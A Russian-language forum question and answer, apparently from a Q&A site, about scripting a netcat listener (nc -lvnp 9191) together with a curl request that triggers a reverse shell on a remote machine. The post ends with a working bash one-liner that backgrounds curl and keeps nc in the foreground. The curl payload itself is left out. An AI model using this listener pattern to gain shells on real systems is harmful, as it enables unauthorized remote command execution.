Использование netcat и curl вместе в скрипте bash

Этот вопрос больше относится к infosec, но я не могу найти обходной путь в автоматизации следующего процесса:

Существует команда cURL, которая запускает соединение с netcat. Без автоматизации я nc -lvnp 9191 , и в другом терминале я ввожу команду cURL, которая устанавливает соединение с моей машиной через порт 9191, после чего я могу выполнить некоторые команды на удаленной машине.

Я пытаюсь что-то вроде этого в моем скрипте bash:

 nc -lvnp 9191& curl ...... 

Netcat запускает прослушиватель, уходит в фоновый режим, cURL инициирует соединение (я получаю соединение обратно), но netcat немедленно закрывается.

 $ ./shell.sh Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::9191 Ncat: Listening on 0.0.0.0:9191 Ncat: Connection from xxx.xxx.xxx.xxx. Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx. $ 

Если я nc -lvnp 9191& из сценария bash и оставляю только команду cURL в сценарии bash, происходит следующее:

 $ nc -lvnp 9191& [1] 22609 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::9191 Ncat: Listening on 0.0.0.0:9191 $ ./shell.sh Ncat: Connection from xxx.xxx.xxx.xxx. Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx. cmd> 

Однако, как только я нажму «Ввод», задание netcat будет немедленно приостановлено:

 [1] + 22609 suspended (tty input) nc -lvnp 9191 

Я должен fg чтобы возобновить работу netcat и продолжить работу, но мне было интересно, смогу ли я как-то спасти себя от всех этих неприятностей в самом скрипте bash.

Так что после обсуждения с кем-то нам, наконец, удалось заставить его работать. Мы поменяли местами строки, так что сначала идет curl (но в качестве фоновой работы), затем netcat (без фона) Подход выглядит следующим образом:

 (sleep 2; curl .... &>/dev/null) & nc -lvnp 9191